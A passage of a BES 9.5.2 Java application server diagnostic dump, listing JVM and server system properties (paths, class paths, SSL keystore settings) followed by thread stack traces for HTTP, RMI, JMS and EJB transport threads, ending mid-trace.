2026-05-24 05:04:36 +SystemProps: +bes.loader: bes-system +java.vendor: Oracle Corporation +sun.java.launcher: SUN_STANDARD +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +javax.net.ssl.trustStorePassword: changeit +javax.xml.stream.XMLInputFactory: com.bes.wstx.stax.WstxInputFactory +bes.home: /opt/bes +catalina.useNaming: true +redis.loader: "${bes.home}/lib/redis/*.jar" +os.name: Linux +sun.boot.class.path: /opt/bes/lib/endorsed/javaee-api-endorsed.jar:/usr/local/openjdk-8/jre/lib/resources.jar:/usr/local/openjdk-8/jre/lib/rt.jar:/usr/local/openjdk-8/jre/lib/sunrsasign.jar:/usr/local/openjdk-8/jre/lib/jsse.jar:/usr/local/openjdk-8/jre/lib/jce.jar:/usr/local/openjdk-8/jre/lib/charsets.jar:/usr/local/openjdk-8/jre/lib/jfr.jar:/usr/local/openjdk-8/jre/classes +javax.security.jacc.PolicyConfigurationFactory.provider: com.bes.enterprise.ejb.core.security.JaccProvider$Factory +javax.net.ssl.certificateFile: /opt/bes/conf/security/cert.pem +java.vm.specification.vendor: Oracle Corporation +java.runtime.version: 1.8.0_342-b07 +jgroups.loader: "${bes.home}/lib/jgroups/*.jar" +xxx: xxx +javax.net.ssl.keyStore: /opt/bes/conf/security/keystore.jks +javax.net.ssl.certificateKeyFile: /opt/bes/conf/security/key.pem +user.name: root +shared.loader: "${bes.home}/lib/shared/classes","${bes.home}/lib/shared/*.jar" +com.bes.resource.ejb.leakDetect: false +com.bes.hostName: d35a5df256eb +java.naming.factory.initial: com.bes.jndi.CtxFactory +user.language: en +derby.system.home: /opt/bes +sun.boot.library.path: /usr/local/openjdk-8/jre/lib/amd64 +com.bes.enterprise.web.util.scan.StandardJarScanFilter.jarsToScan: log4j-web*.jar,log4j-taglib*.jar,log4javascript*.jar,slf4j-taglib*.jar +com.bes.enterprise.log.outAndErrNotRedirect: false +java.version: 1.8.0_342 +java.util.logging.manager: com.bes.enterprise.server.logging.BESClassLoaderLogManager +user.timezone: Etc/UTC +java.net.preferIPv4Stack: true +sun.arch.data.model: 64 +com.bes.installRoot: /opt/bes +java.util.concurrent.ForkJoinPool.common.threadFactory: com.bes.enterprise.webtier.startup.SafeForkJoinWorkerThreadFactory +java.endorsed.dirs: /opt/bes/lib/endorsed +java.rmi.server.randomIDs: true +sun.cpu.isalist: +sun.jnu.encoding: UTF-8 +file.encoding.pkg: sun.io +bes.base: /opt/bes +package.access: sun.,com.bes.enterprise.webtier.,com.bes.enterprise.web.crane.,com.bes.enterprise.web.jasper.,com.bes.enterprise.web. +file.separator: / +java.specification.name: Java Platform API Specification +java.class.version: 52.0 +java.home: /usr/local/openjdk-8/jre +java.vm.info: mixed mode +com.bes.instanceName: server +com.bes.enterprise.ejb.core.security.JaccProvider: com.bes.enterprise.ejb.core.security.jacc.BasicJaccProvider +os.version: 6.8.0-111-generic +path.separator: : +java.vm.version: 25.342-b07 +com.bes.verboseMode: true +bval.in-container: true +com.bes.enterprise.deployments.classpath.filter.systemapps: false +com.bes.resource.leakDetect: false +jdbc.drivers: org.apache.derby.jdbc.ClientDriver +java.awt.printerjob: sun.print.PSPrinterJob +java.security.policy: /opt/bes/conf/security/server.policy +sun.io.unicode.encoding: UnicodeLittle +awt.toolkit: sun.awt.X11.XToolkit +javax.net.ssl.certificateChainFile: /opt/bes/conf/security/chain.pem +package.definition: sun.,java.,com.bes.enterprise.webtier.,com.bes.enterprise.web.crane.,com.bes.enterprise.web.jasper.,com.bes.enterprise.naming.,com.bes.enterprise.web. +java.naming.factory.url.pkgs: com.bes.enterprise.naming:com.bes.enterprise.ejb.core.ivm.naming +java.security.egd: file:/dev/./urandom +user.home: /root +java.specification.vendor: Oracle Corporation +java.library.path: /opt/bes/lib:/opt/bes/modules/native/linux/x64 +java.vendor.url: http://java.oracle.com/ +com.bes.enterprise.deployments.classpath: false +java.vm.vendor: Oracle Corporation +common.loader: "${bes.home}/lib/*.jar","${bes.home}/lib/3rd/*.jar","${bes.home}/lib/*.jar","${bes.home}/modules/besmq/lib/client/*.jar","${bes.home}/modules/besmq/lib/admin/*.jar","${bes.home}/modules/besmq/lib/besmq-common.jar","${bes.home}/modules/db/lib/derby.jar","${bes.home}/modules/db/lib/derbyclient.jar" +com.bes.enterprise.startup.ExitOnInitFailure: true +java.runtime.name: OpenJDK Runtime Environment +sun.java.command: com.bes.enterprise.startup.ASMain -instancedir /opt/bes -verbose true -debug false -instancename server start +java.class.path: /opt/bes/patch/V9.5.2.4703.010.core.jar:/opt/bes/patch/V9.5.2.4703.009.core.jar:/opt/bes/patch/V9.5.2.4703.005.core.jar:/opt/bes/patch/V9.5.2.4703.004.core.jar:/opt/bes/patch/V9.5.2.4703.003.core.jar:/opt/bes/patch/V9.5.2.4703.002.core.jar:/opt/bes/patch/V9.5.2.4703.001.core.jar:/opt/bes/lib/bootstrap.jar:/opt/bes/lib/bes-logger.jar:/opt/bes/lib/bes-config-parser.jar:/opt/bes/lib/bes-config-serverbeans.jar:/opt/bes/lib/bes-patch.jar:/opt/bes/lib/bes-license.jar:/opt/bes/lib/bes-common-util.jar:/opt/bes/lib/3rd/org.apache.commons.commons-codec_1.10.jar:/opt/bes/lib/3rd/org.apache.commons.commons-logging_1.1.3.jar:/opt/bes/lib/3rd/org.codehaus.woodstox.stax2-api_3.1.4.jar:/opt/bes/lib/3rd/org.codehaus.woodstox.woodstox-core-asl_4.4.1.jar +com.bes.instanceRoot: /opt/bes +java.vm.specification.name: Java Virtual Machine Specification +com.bes.enterprise.web.util.scan.StandardJarScanFilter.jarsToSkip: bes-server-jpa-integration,bes-jdbcra,org.codehaus.woodstox.stax2-api,bes-web-glue,org.metatype.sxc.sxc-jaxb-core,commons-lang,besmq-ra,bes-webapp-compressor,derbyclient,bes-ejb-glue,bes-deployment,org.apache.xbean.xbean-reflect,bes-admin-command,org.apache.johnzon.johnzon,org.apache.openwebbeans.openwebbeans-ee-common,bes-connector-runtime,org.apache.commons.commons-codec,bes-ee-loader,org.codehaus.woodstox.woodstox-core-asl,javaee,javaee-api-endorsed,bes-config-remote-adapter,bes-descriptor,bes-server-internal,bes-logger,bes-webtier-util,bes-webtier-coyote,javax.persistence,bes-webtier-jsp-api,bes-gmcert,bes-ee-integration,bes-engine,bootstrap,bes-jdbc-fastcp,bes-patch,commons-codec,org.apache.bval-core,org.mozilla.rhino,bes-launcher,bes-server-api,org.apache.bval-jsr,xmpcore-,bes-server-jee-accessors,commons-beanutils,org.apache.myfaces.core.myfaces-api,org.apache.openwebbeans.openwebbeans-jsf,org.objectweb.howl.howl,bes-webtier-servlet-api,besmq-mgmt,org.apache.xbean.xbean-naming,bes-server-loader,org.apache.commons.commons-cli,org.apache.geronimo.specs.geronimo-osgi-locator,bes-distributed-session-core,org.apache.openwebbeans.openwebbeans-web,bes-webtier-jasper,bes-config-remote,bes-gmssl-adapter,org.apache.commons.commons-pool2,bes-config-serverbeans,bes-server-quartz-shade,org.apache.xbean.xbean-finder-shaded,bes-ee-myfaces-connector,commons-dbcp,commons-io,bes-server-client,bes-server-http,org.apache.openwebbeans.openwebbeans-ejb,org.codehaus.swizzle.swizzle-stream,bes-monitor,derby,commons-logging,bes-server-ejbd,bes-deployment-common,bes-config-parser,metadata-extractor,org.metatype.sxc.sxc-runtime,bes-logger-adapter,org.hsqldb.hsqldb,org.apache.commons.commons-lang3,commons-collections,bes-jmx-remote,bes-cli-command,bes-command-api,bes-connector-transaction,org.eclipse.jdt.ecj,commons-digester,bes-server-core,bes-api,activation,commons-fileupload,org.apache.openwebbeans.openwebbeans-el22,besmq-client,org.eclipse.persistence.eclipselink,bes-ee-common,bes-server-javaagent,com.sun.xml.bind.jaxb,org.apache.openwebbeans.openwebbeans-impl,bes-license,org.apache.xbean.xbean-bundleutils,org.apache.commons.commons-logging,javax.mail,org.apache.openwebbeans.openwebbeans-spi,bes-engine-ha,org.slf4j.slf4j-jdk14,org.apache.commons.commons-collections,org.apache.openwebbeans.openwebbeans-ee,org.ow2.asm.asm-all,besmq-common,bes-websocket-api,org.apache.commons.commons-beanutils-core,org.apache.xbean.xbean-asm5-shaded,ant,commons-httpclient,bes-webtier-el-api,bes-server-jee,mbean-annotation-api,bes-gmssl,bes-ee-mq-connector,bes-common-util,bes-server-rest,org.apache.commons.commons-digester,bes-websocket +java.vm.specification.version: 1.8 +sun.cpu.endian: little +sun.os.patch.level: unknown +java.awt.headless: true +java.io.tmpdir: /tmp +java.vendor.url.bug: http://bugreport.sun.com/bugreport/ +server.loader: +os.arch: amd64 +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +bes.version: 9.5.2 +com.bes.enterprise.embedder.source: ServerListener +java.ext.dirs: /usr/local/openjdk-8/lib/ext:/usr/local/openjdk-8/jre/lib/ext:/opt/bes/lib/ext:/usr/local/openjdk-8/jre/lib/ext:/usr/java/packages/lib/ext +user.dir: /opt/bes/conf +com.bes.enterprise.log.async.logger: true +line.separator: + +java.vm.name: OpenJDK 64-Bit Server VM +com.bes.enterprise.provider.default: com.bes.enterprise +com.bes.enterprise.web.util.buf.StringCache.byte.enabled: true +file.encoding: UTF-8 +ANTLR_USE_DIRECT_CLASS_LOADING: true +com.bes.enterprise.ejb.configurator: com.bes.enterprise.ejb.BESEjbConfigurationFactory +com.bes.javaRoot: /usr/local/openjdk-8 +java.specification.version: 1.8 +javax.net.ssl.trustStore: /opt/bes/conf/security/cacerts.jks +javax.net.ssl.keyStorePassword: changeit + +=========================================== + +ThreadStacks: +"RMI Scheduler(0)" #95 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4583538c + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Spark-Acceptor" #83 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) + at java.net.ServerSocket.implAccept(ServerSocket.java:560) + at java.net.ServerSocket.accept(ServerSocket.java:528) + at com.bes.ejb.spark.tcp.transport.AcceptorThread.a(AcceptorThread.java:274) + at com.bes.ejb.spark.tcp.transport.AcceptorThread.startEndpoint(AcceptorThread.java:423) + at com.bes.ejb.spark.tcp.transport.AcceptorThread.run(AcceptorThread.java:508) + +"AcceptorThread-8080-1" #77 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249) + at com.bes.enterprise.web.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:500) + at java.lang.Thread.run(Thread.java:750) + +"httpWorkerThread-1900-2" #62 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5f273ffc + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57) + at java.lang.Thread.run(Thread.java:750) + +"SelectorReaderThread-1900-1" #73 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.bes.enterprise.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:892) + at java.lang.Thread.run(Thread.java:750) + +"jmsra-WorkerThread-3" #55 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6908709b + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57) + at java.lang.Thread.run(Thread.java:750) + +"AcceptorThread-1900-1" #74 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249) + at com.bes.enterprise.web.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:500) + at java.lang.Thread.run(Thread.java:750) + +"KeepAliveTimer" #58 daemon [TIMED_WAITING] on java.util.TaskQueue@321edd13 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"RMI Reaper" #93 [WAITING] on java.lang.ref.ReferenceQueue$Lock@6d5ef7ef + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) + at sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:351) + at java.lang.Thread.run(Thread.java:750) + +"httpWorkerThread-1900-3" #63 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5f273ffc + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57) + at java.lang.Thread.run(Thread.java:750) + +"httpWorkerThread-8080-8" #72 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@b60fd67 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57) + at java.lang.Thread.run(Thread.java:750) + +"AsyncTimeoutThread-8080" #78 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at com.bes.enterprise.web.crane.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1161) + at java.lang.Thread.run(Thread.java:750) + +"httpWorkerThread-8080-1" #65 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@b60fd67 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57) + at java.lang.Thread.run(Thread.java:750) + +"main" #1 [WAITING] on com.bes.enterprise.server.builder.BesWebModule@2146c838 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.bes.enterprise.server.builder.BesWebModule.await(BesWebModule.java:268) + at com.bes.enterprise.server.builder.BesWebModule.awaitForShutdown(BesWebModule.java:233) + at com.bes.enterprise.server.builder.BesWebModule.start(BesWebModule.java:224) + at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) + at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) + at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) + at java.lang.reflect.Method.invoke(Method.java:498) + at com.bes.enterprise.appserver.startup.Bootstrap.start(Bootstrap.java:434) + at com.bes.enterprise.appserver.startup.Bootstrap.main(Bootstrap.java:565) + at com.bes.enterprise.startup.ASMain.main(ASMain.java:27) + +"jmsra-WorkerThread-1" #53 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6908709b + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57) + at java.lang.Thread.run(Thread.java:750) + +"Spark_6" #90 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@65747f46 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202) + at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59) + +"Spark_7" #91 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@65747f46 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202) + at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59) + +"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[__admin].DefaultContext[/sysapp]]" #81 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at com.bes.enterprise.webtier.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1346) + at java.lang.Thread.run(Thread.java:750) + +"bes-deployment-scheduled-executor-thread." #82 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7f0f0d88 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"httpWorkerThread-8080-5" #69 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@b60fd67 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57) + at java.lang.Thread.run(Thread.java:750) + +"RMI TCP Connection(2)-172.17.0.3" #97 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.socketRead(SocketInputStream.java:116) + at java.net.SocketInputStream.read(SocketInputStream.java:171) + at java.net.SocketInputStream.read(SocketInputStream.java:141) + at java.io.BufferedInputStream.fill(BufferedInputStream.java:246) + at java.io.BufferedInputStream.read(BufferedInputStream.java:265) + at java.io.FilterInputStream.read(FilterInputStream.java:83) + at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$24/1879938894.run(Unknown Source) + at java.security.AccessController.doPrivileged(Native Method) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Spark_5" #89 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@65747f46 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202) + at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59) + +"RetryTimer" #52 daemon [WAITING] on java.util.TaskQueue@73084ccb + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.util.TimerThread.mainLoop(Timer.java:526) + at java.util.TimerThread.run(Timer.java:505) + +"httpWorkerThread-8080-3" #67 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@b60fd67 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57) + at java.lang.Thread.run(Thread.java:750) + +"httpWorkerThread-8080-7" #71 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@b60fd67 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57) + at java.lang.Thread.run(Thread.java:750) + +"RMI TCP Accept-6600" #92 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) + at java.net.ServerSocket.implAccept(ServerSocket.java:560) + at java.net.ServerSocket.accept(ServerSocket.java:528) + at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:405) + at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377) + at java.lang.Thread.run(Thread.java:750) + +"Spark_0" #84 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@64185d9a + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2163) + at com.bes.ejb.spark.tcp.threadpool.PreSelector.execute(PreSelector.java:120) + at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:68) + +"Spark_1" #85 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@65747f46 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202) + at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@22d08010 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at 